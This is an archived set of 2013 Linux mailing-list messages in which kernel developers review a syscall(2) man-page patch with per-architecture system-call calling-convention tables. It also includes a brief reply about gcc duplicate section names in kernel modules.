References: <1364361092-5948-1-git-send-email-ch0.han@lge.com> <CAKgNAkgODPSWSeA8ZymiAjFBqSAZQMtQe9GW84Y6QHdFEc9S-w@mail.gmail.com> <20130407135514.GW12938@bombadil.infradead.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/signed;
  boundary="nextPart3083340.OZ26A3xkpg";
  protocol="application/pgp-signature";
  micalg=pgp-sha1
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1365359904 32449 80.91.229.3 (7 Apr 2013 18:38:24 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sun, 7 Apr 2013 18:38:24 +0000 (UTC)
Cc: "Michael Kerrisk (man-pages)" <mtk.manpages-Re5JQEeQqe8AvxtiuMwx3w@public.gmane.org>,
	"linux-man" <linux-man-u79uwXL29TY76Z2rM5mHXA@public.gmane.org>,
	Kyle McMartin <kyle-wEGCiKHe2LqWVfeAwA7xHQ@public.gmane.org>,
	Helge Deller <deller-Mmb7MZpHnFY@public.gmane.org>,
	"James E.J. Bottomley" <jejb-6jwH94ZQLHl74goWV3ctuw@public.gmane.org>,
	linux-parisc-u79uwXL29TY76Z2rM5mHXA@public.gmane.org
To: Kyle McMartin <kyle-pfcGkIkfWfAsA/PxXw9srA@public.gmane.org>
Original-X-From: linux-man-owner-u79uwXL29TY76Z2rM5mHXA@public.gmane.org Sun Apr 07 20:38:26 2013
Return-path: <linux-man-owner-u79uwXL29TY76Z2rM5mHXA@public.gmane.org>
Envelope-to: glm-linux-man-wOFGN7rlS/M9smdsby/KFg@public.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-man-owner-u79uwXL29TY76Z2rM5mHXA@public.gmane.org>)
	id 1UOuTw-0005e1-41
	for glm-linux-man-wOFGN7rlS/M9smdsby/KFg@public.gmane.org; Sun, 07 Apr 2013 20:38:24 +0200
Original-Received: (majordomo-u79uwXL29TY76Z2rM5mHXA@public.gmane.org) by vger.kernel.org via listexpand
	id S934260Ab3DGSiW (ORCPT <rfc822;glm-linux-man@m.gmane.org>);
	Sun, 7 Apr 2013 14:38:22 -0400
Original-Received: from smtp.gentoo.org ([140.211.166.183]:36124 "EHLO smtp.gentoo.org"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S934253Ab3DGSiW (ORCPT <rfc822;linux-man-u79uwXL29TY76Z2rM5mHXA@public.gmane.org>);
	Sun, 7 Apr 2013 14:38:22 -0400
Original-Received: from vapier.localnet (localhost [127.0.0.1])
	by smtp.gentoo.org (Postfix) with ESMTP id 98BF433DC27;
	Sun,  7 Apr 2013 18:38:21 +0000 (UTC)
User-Agent: KMail/1.13.7 (Linux/3.8.3; KDE/4.6.5; x86_64; ; )
In-Reply-To: <20130407135514.GW12938-PfSpb0PWhxZc2C7mugBRk2EX/6BAtgUQ@public.gmane.org>
Original-Sender: linux-man-owner-u79uwXL29TY76Z2rM5mHXA@public.gmane.org
Precedence: bulk
List-ID: <linux-man.vger.kernel.org>
X-Mailing-List: linux-man-u79uwXL29TY76Z2rM5mHXA@public.gmane.org
Xref: news.gmane.org gmane.linux.man:3873 gmane.linux.ports.parisc:4892
Archived-At: <http://permalink.gmane.org/gmane.linux.man/3873>

--nextPart3083340.OZ26A3xkpg
Content-Type: Text/Plain;
  charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable

On Sunday 07 April 2013 09:55:14 Kyle McMartin wrote:
> On Sun, Apr 07, 2013 at 12:00:50PM +0200, Michael Kerrisk (man-pages) wro=
te:
> > [Adding a few people to CC who may be able to help with Mike's doubts
> > on PA-RISC; folks, if any of you could have a quick look at the parisc
> > piece below, that would be helpful]
>=20
> The syscall number is in %r20, everything else looks correct. The
> returned value is in %r28 and the args are %r26 through %r21.

just to be clear, the only insn you need is:
	ble 0x100(%sr2, %r0);

the kernel docs say sr2 holds the kernel gateway page (so i guess 0x100 is =
a=20
known offset into that).  the docs don't mention r0 that i can see, so i'm=
=20
guessing it's one of those "always 0" registers ?

the sysdep code has an ldi call in the branch delay slot (i think), but all=
=20
that seems to do is load r20 with the syscall nr.
=2Dmike

--nextPart3083340.OZ26A3xkpg
Content-Type: application/pgp-signature; name=signature.asc 
Content-Description: This is a digitally signed message part.

-----BEGIN PGP SIGNATURE-----
Version: GnuPG v2.0.17 (GNU/Linux)

iQIcBAABAgAGBQJRYb1TAAoJEEFjO5/oN/WBK1gP/24N2rGmae6jL4w81wzHXw6B
e/io85mHhqqNHRCcnEI/d1jSlMRl02GnAyt0rZ20uaFiRxcFK8rBV/dgmY3HeerK
IAh9BPGQg/V8wwaSjjsKGPjlqKewotz3Kc6OvxRk4qniezyzU5hB8yecpl2vf6L1
PjnuoI/idI1BF8OxL0SOTTuE/LOJ2KavoJt2j5TPes1QnNLXy3JC97ibjC4qB2q6
B4rpwtOcJOm2ZytXRViAjWw3rBPAyGGvsEH7wKY/I+6A8K3YXGYOlRLowJL0J0Mf
aX6AXDlkLDy4Huoez4Z7rtQIHuEedG5wZEW/qhM6nQK2lVWlDhnOxcJ2W9dbSu++
3C28uf9XEBjwsLVd1RAGh0pUXtYe9s+tjJTjXAG0N9G4aZUR2WXiEyYlqyOFfP4q
uRd2re8w1W53t0ByhNLhkR2c41VwcJ+9+M++Vd3loQv3U7v93v0FiPB3RZFsPp4D
Yye1q/vqWwAeKwL/UIH6q+jSUuvuf2kZ2nZt2N0b9E138t5acnMU9r5/6gEDGvQp
gQAO9CBZiWcv9pTY1nzaMuUtaZJl9auFSJSlhEE8w66PdWEi4wffG9Xx2NiA50Kf
mrrcmm2Zn8bo/3IgzG2ig1ySjxWiUYf7CHx7kMPRWSfrs3QOwn996LjtIiXd/TPa
y654fvSkybJbZnPRGj15
=ZYj+
-----END PGP SIGNATURE-----

--nextPart3083340.OZ26A3xkpg--
--
To unsubscribe from this list: send the line "unsubscribe linux-man" in
the body of a message to majordomo-u79uwXL29TY76Z2rM5mHXA@public.gmane.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:09:04 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: John David Anglin <dave.anglin@bell.net>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.man
Subject: Re: [PATCH] man2 : syscall.2 : document syscall calling conventions
Date: Sun, 7 Apr 2013 14:48:42 -0400
Lines: 26
Approved: news@gmane.org
Message-ID: <BLU0-SMTP986B123D17DB8B88214F797C40@phx.gbl>
References: <1364361092-5948-1-git-send-email-ch0.han@lge.com> <CAKgNAkgODPSWSeA8ZymiAjFBqSAZQMtQe9GW84Y6QHdFEc9S-w@mail.gmail.com> <20130407135514.GW12938@bombadil.infradead.org> <201304071439.15297.vapier@gentoo.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0 (Apple Message framework v936)
Content-Type: text/plain; charset="US-ASCII"; format=flowed; delsp=yes
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1365360563 6593 80.91.229.3 (7 Apr 2013 18:49:23 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sun, 7 Apr 2013 18:49:23 +0000 (UTC)
Cc: Kyle McMartin <kyle@mcmartin.ca>,
	"Michael Kerrisk (man-pages)" <mtk.manpages@gmail.com>,
	"linux-man" <linux-man@vger.kernel.org>,
	Kyle McMartin <kyle@infradead.org>,
	Helge Deller <deller@gmx.de>,
	"James E.J. Bottomley" <jejb@parisc-linux.org>,
	linux-parisc@vger.kernel.org
To: Mike Frysinger <vapier@gentoo.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Sun Apr 07 20:49:25 2013
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1UOuea-0003G2-IS
	for glpp-linux-parisc@plane.gmane.org; Sun, 07 Apr 2013 20:49:24 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S934276Ab3DGStX (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sun, 7 Apr 2013 14:49:23 -0400
Original-Received: from blu0-omc4-s11.blu0.hotmail.com ([65.55.111.150]:19493 "EHLO
	blu0-omc4-s11.blu0.hotmail.com" rhost-flags-OK-OK-OK-OK)
	by vger.kernel.org with ESMTP id S934275Ab3DGStX (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Sun, 7 Apr 2013 14:49:23 -0400
Original-Received: from BLU0-SMTP9 ([65.55.111.137]) by blu0-omc4-s11.blu0.hotmail.com with Microsoft SMTPSVC(6.0.3790.4675);
	 Sun, 7 Apr 2013 11:49:22 -0700
X-EIP: [5nADw8XRubBn5+OByBBFxb3T2raHYt7S]
X-Originating-Email: [dave.anglin@bell.net]
Original-Received: from [192.168.2.10] ([69.158.168.249]) by BLU0-SMTP9.phx.gbl over TLS secured channel with Microsoft SMTPSVC(6.0.3790.4675);
	 Sun, 7 Apr 2013 11:49:21 -0700
In-Reply-To: <201304071439.15297.vapier@gentoo.org>
X-Mailer: Apple Mail (2.936)
X-OriginalArrivalTime: 07 Apr 2013 18:49:21.0653 (UTC) FILETIME=[9DEBB250:01CE33C0]
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:4893 gmane.linux.man:3875
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/4893>

On 7-Apr-13, at 2:39 PM, Mike Frysinger wrote:

> just to be clear, the only insn you need is:
> 	ble 0x100(%sr2, %r0);
>
> the kernel docs say sr2 holds the kernel gateway page (so i guess  
> 0x100 is a
> known offset into that).  the docs don't mention r0 that i can see,  
> so i'm
> guessing it's one of those "always 0" registers ?

Yes.  There is also an entry at offset 0xb0 for light-weight- 
syscalls.  Currently,
this implements an atomic CAS operation used for pthread support.

Dave
--
John David Anglin	dave.anglin@bell.net



--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:09:04 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Rusty Russell <rusty@rustcorp.com.au>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel
Subject: Re: [PATCH] Add non-zero module sections to sysfs
Date: Mon, 08 Apr 2013 13:44:45 +0930
Lines: 29
Approved: news@gmane.org
Message-ID: <878v4tbqve.fsf@rustcorp.com.au>
References: <1364994499-23708-1-git-send-email-sisewank@cip.cs.fau.de> <87mwtf3ya1.fsf@rustcorp.com.au> <515D4A7F.5070102@cip.cs.fau.de> <87vc81lj7x.fsf@rustcorp.com.au> <1365156435.1970.31.camel@dabdike> <20130406104053.GA24710@yoda.lan>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1365403908 23227 80.91.229.3 (8 Apr 2013 06:51:48 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Mon, 8 Apr 2013 06:51:48 +0000 (UTC)
Cc: Sebastian Wankerl <sisewank@cip.cs.fau.de>,
	linux-kernel@vger.kernel.org,
	Philip Kranz <philip.kranz@googlemail.com>,
	i4passt@lists.informatik.uni-erlangen.de,
	linux-parisc@vger.kernel.org
To: Philip Kranz <philip.kranz@googlemail.com>,
	James Bottomley <James.Bottomley@HansenPartnership.com>
Original-X-From: linux-parisc-owner@vger.kernel.org Mon Apr 08 08:51:43 2013
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1UP5sn-0000sy-NK
	for glpp-linux-parisc@plane.gmane.org; Mon, 08 Apr 2013 08:48:50 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752514Ab3DHEdg (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Mon, 8 Apr 2013 00:33:36 -0400
Original-Received: from ozlabs.org ([203.10.76.45]:53983 "EHLO ozlabs.org"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1752106Ab3DHEdf (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Mon, 8 Apr 2013 00:33:35 -0400
Original-Received: by ozlabs.org (Postfix, from userid 1011)
	id 73CF72C00C8; Mon,  8 Apr 2013 14:33:33 +1000 (EST)
In-Reply-To: <20130406104053.GA24710@yoda.lan>
User-Agent: Notmuch/0.14 (http://notmuchmail.org) Emacs/23.4.1 (i686-pc-linux-gnu)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:4894 gmane.linux.kernel:1471150
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/4894>

Philip Kranz <philip.kranz@googlemail.com> writes:
> Hello.
>
> On Fri, Apr 05, 2013 at 12:07:15PM +0200, James Bottomley wrote:
>> Just so you know: this isn't a parisc specific problem.  Gcc produces
>> duplicate section names under various circumstances, but the one that
>> bites us is -ffunction-sections.  Note that there are proposals to use
>> -ffunction-sections on all architectures (so we can garbage collect
>> unused functions) in which case you'll induce the bug identified in
>> 35dead4235e2b67da7275b4122fed37099c2f462 on every architecture
>
> I am not able to produce an object file with duplicate section names
> using gcc on x86. Even with -ffunction-sections, every section gets a
> unique name. Is this architecture-specific behaviour of gcc?

Good point.  ld -r will collapse them into the same section (since gcc
produces them they have to have the same section attributes).

You can do it with --unique, but no arch uses that.  PARISC has a
platform-specific toolchain hack which does that for .text sections.
(Thanks to Alan Modra for that clue...)

Thanks,
Rusty.
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:09:04 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Michael Kerrisk (man-pages)" <mtk.manpages-Re5JQEeQqe8AvxtiuMwx3w@public.gmane.org>
Newsgroups: gmane.linux.man,gmane.linux.ports.parisc
Subject: Re: [PATCH] man2 : syscall.2 : document syscall calling conventions
Date: Mon, 8 Apr 2013 11:20:07 +0200
Lines: 101
Approved: news@gmane.org
Message-ID: <CAKgNAkhv6tovvnucoofDR-eOe4H7xeFZDam9+iaVVndEqbuoXg@mail.gmail.com>
References: <1364361092-5948-1-git-send-email-ch0.han@lge.com>
 <CAKgNAkgODPSWSeA8ZymiAjFBqSAZQMtQe9GW84Y6QHdFEc9S-w@mail.gmail.com>
 <20130407135514.GW12938@bombadil.infradead.org> <201304071439.15297.vapier@gentoo.org>
 <BLU0-SMTP986B123D17DB8B88214F797C40@phx.gbl>
Reply-To: mtk.manpages-Re5JQEeQqe8AvxtiuMwx3w@public.gmane.org
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: QUOTED-PRINTABLE
X-Trace: ger.gmane.org 1365437087 2073 80.91.229.3 (8 Apr 2013 16:04:47 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Mon, 8 Apr 2013 16:04:47 +0000 (UTC)
Cc: John David Anglin <dave.anglin-CzeTG9NwML0@public.gmane.org>,
	linux-man <linux-man-u79uwXL29TY76Z2rM5mHXA@public.gmane.org>,
	Helge Deller <deller-Mmb7MZpHnFY@public.gmane.org>,
	"James E.J. Bottomley" <jejb-6jwH94ZQLHl74goWV3ctuw@public.gmane.org>,
	linux-parisc-u79uwXL29TY76Z2rM5mHXA@public.gmane.org
To: Mike Frysinger <vapier-aBrp7R+bbdUdnm+yROfE0A@public.gmane.org>,
	Kyle McMartin <kyle-pfcGkIkfWfAsA/PxXw9srA@public.gmane.org>
Original-X-From: linux-man-owner-u79uwXL29TY76Z2rM5mHXA@public.gmane.org Tue Apr 09 00:05:26 2013
Return-path: <linux-man-owner-u79uwXL29TY76Z2rM5mHXA@public.gmane.org>
Envelope-to: glm-linux-man-wOFGN7rlS/M9smdsby/KFg@public.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-man-owner-u79uwXL29TY76Z2rM5mHXA@public.gmane.org>)
	id 1UPKAp-0002Am-Sm
	for glm-linux-man-wOFGN7rlS/M9smdsby/KFg@public.gmane.org; Tue, 09 Apr 2013 00:04:24 +0200
Original-Received: (majordomo-u79uwXL29TY76Z2rM5mHXA@public.gmane.org) by vger.kernel.org via listexpand
	id S934927Ab3DHJU2 convert rfc822-to-quoted-printable (ORCPT
	<rfc822;glm-linux-man@m.gmane.org>); Mon, 8 Apr 2013 05:20:28 -0400
Original-Received: from mail-oa0-f42.google.com ([209.85.219.42]:44041 "EHLO
	mail-oa0-f42.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S934568Ab3DHJU2 convert rfc822-to-8bit (ORCPT
	<rfc822;linux-man-u79uwXL29TY76Z2rM5mHXA@public.gmane.org>); Mon, 8 Apr 2013 05:20:28 -0400
Original-Received: by mail-oa0-f42.google.com with SMTP id i18so5959703oag.1
        for <multiple recipients>; Mon, 08 Apr 2013 02:20:27 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=20120113;
        h=x-received:mime-version:reply-to:in-reply-to:references:from:date
         :message-id:subject:to:cc:content-type:content-transfer-encoding;
        bh=CMWgrKALJS+jPljZUOkd1jZlGp6J9SnKCgr3GH5ZXhY=;
        b=NZMcx64CzE8SAzFFB4I6ynygdar+vqvAEPEah93zGlqvjOCyBk2vsmwbwt8R/gbtZc
         5E3EqDfB+no8tpB7u74qt7UhCGNC1Lxxc2IbxARYIj5RsjQ98qv4BTxbS2GYHc7AM+SV
         KA1sCZh2CFsvB9naqkoWjP9MYrVclhZIOBXgrqyVMtIDDTBPSYUiJ7nxDcaNX+SdJZt3
         vf0Ol77Kly6G9ESS2WlWgKnf+9BSNxT356NmJuGjN2SGV/dy0tUUn9kI7TRF+CrhCakd
         HYj/E/wCNk9bxUrxTmVINpDi0QSWOI1/oqgHfXWBnHwViVfT/ddrNvoM9KvZ23g+fQvN
         NBYQ==
X-Received: by 10.182.118.1 with SMTP id ki1mr14909526obb.2.1365412827563;
 Mon, 08 Apr 2013 02:20:27 -0700 (PDT)
Original-Received: by 10.60.34.170 with HTTP; Mon, 8 Apr 2013 02:20:07 -0700 (PDT)
In-Reply-To: <BLU0-SMTP986B123D17DB8B88214F797C40-MsuGFMq8XAE@public.gmane.org>
Original-Sender: linux-man-owner-u79uwXL29TY76Z2rM5mHXA@public.gmane.org
Precedence: bulk
List-ID: <linux-man.vger.kernel.org>
X-Mailing-List: linux-man-u79uwXL29TY76Z2rM5mHXA@public.gmane.org
Xref: news.gmane.org gmane.linux.man:3879 gmane.linux.ports.parisc:4895
Archived-At: <http://permalink.gmane.org/gmane.linux.man/3879>

On Sun, Apr 7, 2013 at 8:48 PM, John David Anglin <dave.anglin-CzeTG9NwML0@public.gmane.org=
> wrote:
> On 7-Apr-13, at 2:39 PM, Mike Frysinger wrote:
>
>> just to be clear, the only insn you need is:
>>         ble 0x100(%sr2, %r0);
>>
>> the kernel docs say sr2 holds the kernel gateway page (so i guess 0x=
100 is
>> a
>> known offset into that).  the docs don't mention r0 that i can see, =
so i'm
>> guessing it's one of those "always 0" registers ?
>
>
> Yes.  There is also an entry at offset 0xb0 for light-weight-syscalls=
=2E
> Currently,
> this implements an atomic CAS operation used for pthread support.

Mike (and Kyle),

=46or review, here are the tables as they now stand:

=3D=3D=3D=3D=3D
   Architecture calling conventions
       Every architecture has its own way of invoking and passing argum=
ents to
       the kernel.  The details for various architectures are  listed  =
in  the
       two tables below.

       The  first  table  lists  the  instruction used to transition to=
 kernel
       mode, (which might not be the fastest or best way to transition =
to  the
       kernel,  so  you might have to refer to the VDSO), the register =
used to
       indicate the system call number, and the register used  to  retu=
rn  the
       system call result.

       arch/ABI   instruction          syscall #   retval  Notes
       =E2=94=80=E2=94=80=E2=94=80=E2=94=80=E2=94=80=E2=94=80=E2=94=80=E2=
=94=80=E2=94=80=E2=94=80=E2=94=80=E2=94=80=E2=94=80=E2=94=80=E2=94=80=E2=
=94=80=E2=94=80=E2=94=80=E2=94=80=E2=94=80=E2=94=80=E2=94=80=E2=94=80=E2=
=94=80=E2=94=80=E2=94=80=E2=94=80=E2=94=80=E2=94=80=E2=94=80=E2=94=80=E2=
=94=80=E2=94=80=E2=94=80=E2=94=80=E2=94=80=E2=94=80=E2=94=80=E2=94=80=E2=
=94=80=E2=94=80=E2=94=80=E2=94=80=E2=94=80=E2=94=80=E2=94=80=E2=94=80=E2=
=94=80=E2=94=80=E2=94=80=E2=94=80=E2=94=80=E2=94=80=E2=94=80=E2=94=80=E2=
=94=80=E2=94=80=E2=94=80=E2=94=80=E2=94=80=E2=94=80=E2=94=80=E2=94=80=E2=
=94=80=E2=94=80=E2=94=80=E2=94=80=E2=94=80
       arm/OABI   swi NR               -           a1      NR is syscal=
l #
       arm/EABI   swi 0x0              r7          r1
       blackfin   excpt 0x0            P0          R0
       i386       int $0x80            eax         eax
       ia64       break 0x100000       r15         r10/r8C
       parisc     ble 0x100(%sr2, %r0) r20         r28
       sparc/32   t 0x10               g1          o0
       sparc/64   t 0x6d               g1          o0
       x86_64     syscall              rax         rax

       The second table shows the registers used to pass the system cal=
l argu=E2=80=90
       ments.

       arch/ABI   arg1   arg2   arg3   arg4   arg5   arg6   arg7
       =E2=94=80=E2=94=80=E2=94=80=E2=94=80=E2=94=80=E2=94=80=E2=94=80=E2=
=94=80=E2=94=80=E2=94=80=E2=94=80=E2=94=80=E2=94=80=E2=94=80=E2=94=80=E2=
=94=80=E2=94=80=E2=94=80=E2=94=80=E2=94=80=E2=94=80=E2=94=80=E2=94=80=E2=
=94=80=E2=94=80=E2=94=80=E2=94=80=E2=94=80=E2=94=80=E2=94=80=E2=94=80=E2=
=94=80=E2=94=80=E2=94=80=E2=94=80=E2=94=80=E2=94=80=E2=94=80=E2=94=80=E2=
=94=80=E2=94=80=E2=94=80=E2=94=80=E2=94=80=E2=94=80=E2=94=80=E2=94=80=E2=
=94=80=E2=94=80=E2=94=80=E2=94=80=E2=94=80=E2=94=80=E2=94=80=E2=94=80=E2=
=94=80=E2=94=80=E2=94=80
       arm/OABI   a1     a2     a3     a4     v1     v2     v3
       arm/EABI   r1     r2     r3     r4     r5     r6     r7
       blackfin   R0     R1     R2     R3     R4     R5     -
       i386       ebx    ecx    edx    esi    edi    ebp    -
       ia64       r11    r9     r10    r14    r15    r13    -
       parisc     r26    r25    r24    r23    r22    r21    -
       sparc/32   o0     o1     o2     o3     o4     o5     -
       sparc/64   o0     o1     o2     o3     o4     o5     -
       x86_64     rdi    rsi    rdx    r10    r8     r9     -

       Note that these tables don't cover the entire  calling  conventi=
on=E2=80=94some
       architectures  may  indiscriminately clobber other registers not=
 listed
       here.
=3D=3D=3D=3D=3D

Cheers,

Michael
--
To unsubscribe from this list: send the line "unsubscribe linux-man" in
the body of a message to majordomo-u79uwXL29TY76Z2rM5mHXA@public.gmane.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:09:04 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Michael Kerrisk (man-pages)" <mtk.manpages-Re5JQEeQqe8AvxtiuMwx3w@public.gmane.org>
Newsgroups: gmane.linux.man,gmane.linux.ports.parisc
Subject: Re: [PATCH] man2 : syscall.2 : document syscall calling conventions
Date: Mon, 8 Apr 2013 11:18:15 +0200
Lines: 20
Approved: news@gmane.org
Message-ID: <CAKgNAkj0xkP3c9M-KnkdzqUAp7P99hce9jgdY=4eAM_Ad-ogZg@mail.gmail.com>
References: <1364361092-5948-1-git-send-email-ch0.han@lge.com>
 <201304010632.41520.vapier@gentoo.org> <CAKgNAkgG2kdCC1tyZQkYU7O_nP7RB8VoCmx6eb8FcudU1s6RgA@mail.gmail.com>
 <201304021917.17659.vapier@gentoo.org> <CAKgNAkgODPSWSeA8ZymiAjFBqSAZQMtQe9GW84Y6QHdFEc9S-w@mail.gmail.com>
 <20130407135514.GW12938@bombadil.infradead.org> <1365346609.1992.10.camel@dabdike>
 <20130407151134.GX12938@bombadil.infradead.org>
Reply-To: mtk.manpages-Re5JQEeQqe8AvxtiuMwx3w@public.gmane.org
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1
X-Trace: ger.gmane.org 1365437107 2641 80.91.229.3 (8 Apr 2013 16:05:07 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Mon, 8 Apr 2013 16:05:07 +0000 (UTC)
Cc: James Bottomley <James.Bottomley-JuX6DAaQMKPCXq6kfMZ53/egYHeGw8Jk@public.gmane.org>,
	Mike Frysinger <vapier-aBrp7R+bbdUdnm+yROfE0A@public.gmane.org>,
	linux-man <linux-man-u79uwXL29TY76Z2rM5mHXA@public.gmane.org>,
	Kyle McMartin <kyle-wEGCiKHe2LqWVfeAwA7xHQ@public.gmane.org>,
	Helge Deller <deller-Mmb7MZpHnFY@public.gmane.org>,
	"James E.J. Bottomley" <jejb-6jwH94ZQLHl74goWV3ctuw@public.gmane.org>,
	linux-parisc-u79uwXL29TY76Z2rM5mHXA@public.gmane.org
To: Kyle McMartin <kyle-pfcGkIkfWfAsA/PxXw9srA@public.gmane.org>
Original-X-From: linux-man-owner-u79uwXL29TY76Z2rM5mHXA@public.gmane.org Mon Apr 08 18:05:08 2013
Return-path: <linux-man-owner-u79uwXL29TY76Z2rM5mHXA@public.gmane.org>
Envelope-to: glm-linux-man-wOFGN7rlS/M9smdsby/KFg@public.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-man-owner-u79uwXL29TY76Z2rM5mHXA@public.gmane.org>)
	id 1UPKAn-0002Am-7L
	for glm-linux-man-wOFGN7rlS/M9smdsby/KFg@public.gmane.org; Tue, 09 Apr 2013 00:04:21 +0200
Original-Received: (majordomo-u79uwXL29TY76Z2rM5mHXA@public.gmane.org) by vger.kernel.org via listexpand
	id S935005Ab3DHJSi (ORCPT <rfc822;glm-linux-man@m.gmane.org>);
	Mon, 8 Apr 2013 05:18:38 -0400
Original-Received: from mail-ob0-f172.google.com ([209.85.214.172]:43050 "EHLO
	mail-ob0-f172.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S935050Ab3DHJSg (ORCPT
	<rfc822;linux-man-u79uwXL29TY76Z2rM5mHXA@public.gmane.org>); Mon, 8 Apr 2013 05:18:36 -0400
Original-Received: by mail-ob0-f172.google.com with SMTP id eh20so2146659obb.3
        for <multiple recipients>; Mon, 08 Apr 2013 02:18:35 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=20120113;
        h=x-received:mime-version:reply-to:in-reply-to:references:from:date
         :message-id:subject:to:cc:content-type;
        bh=ks65u7Z/paGm+y/BFuKplyYUdm1uMpgwRBM/1zz3EGA=;
        b=JRzfSv/JwfmceX+4LCDrBuqeGCPC3PLKJXHNlroXxpKgOP2eBu9d/5cmUdoyzh1Cub
         U+E7ZzUYS1NgQb0+rLUeBK6eD4VrYlsQATfJP/ZycODvUhR7i8ALNx+reIp97/5Ux/68
         mqsaPG1/AL6KJi2+JCsNLyP120OgTkscmXlzwWdPGC3/iP4CcDQSze/M1mdpYm/kWIAB
         TrSIGlYvWw4hT3y0Ub99cllCnsAhidvDa4zcr3q3MpmqZDRzgNqT9vcKQu1U+ZvYIhe0
         NwGUK+48Q+lDU6eFs29cTwi+qplzRj5uEdY4WBdUp6pUcWEfqcChRLgRiUZpFt2Cndfh
         6w+Q==
X-Received: by 10.60.30.33 with SMTP id p1mr14870516oeh.66.1365412715499; Mon,
 08 Apr 2013 02:18:35 -0700 (PDT)
Original-Received: by 10.60.34.170 with HTTP; Mon, 8 Apr 2013 02:18:15 -0700 (PDT)
In-Reply-To: <20130407151134.GX12938-PfSpb0PWhxZc2C7mugBRk2EX/6BAtgUQ@public.gmane.org>
Original-Sender: linux-man-owner-u79uwXL29TY76Z2rM5mHXA@public.gmane.org
Precedence: bulk
List-ID: <linux-man.vger.kernel.org>
X-Mailing-List: linux-man-u79uwXL29TY76Z2rM5mHXA@public.gmane.org
Xref: news.gmane.org gmane.linux.man:3880 gmane.linux.ports.parisc:4896
Archived-At: <http://permalink.gmane.org/gmane.linux.man/3880>

On Sun, Apr 7, 2013 at 5:11 PM, Kyle McMartin <kyle-pfcGkIkfWfAsA/PxXw9srA@public.gmane.org> wrote:
> On Sun, Apr 07, 2013 at 07:56:49AM -0700, James Bottomley wrote:
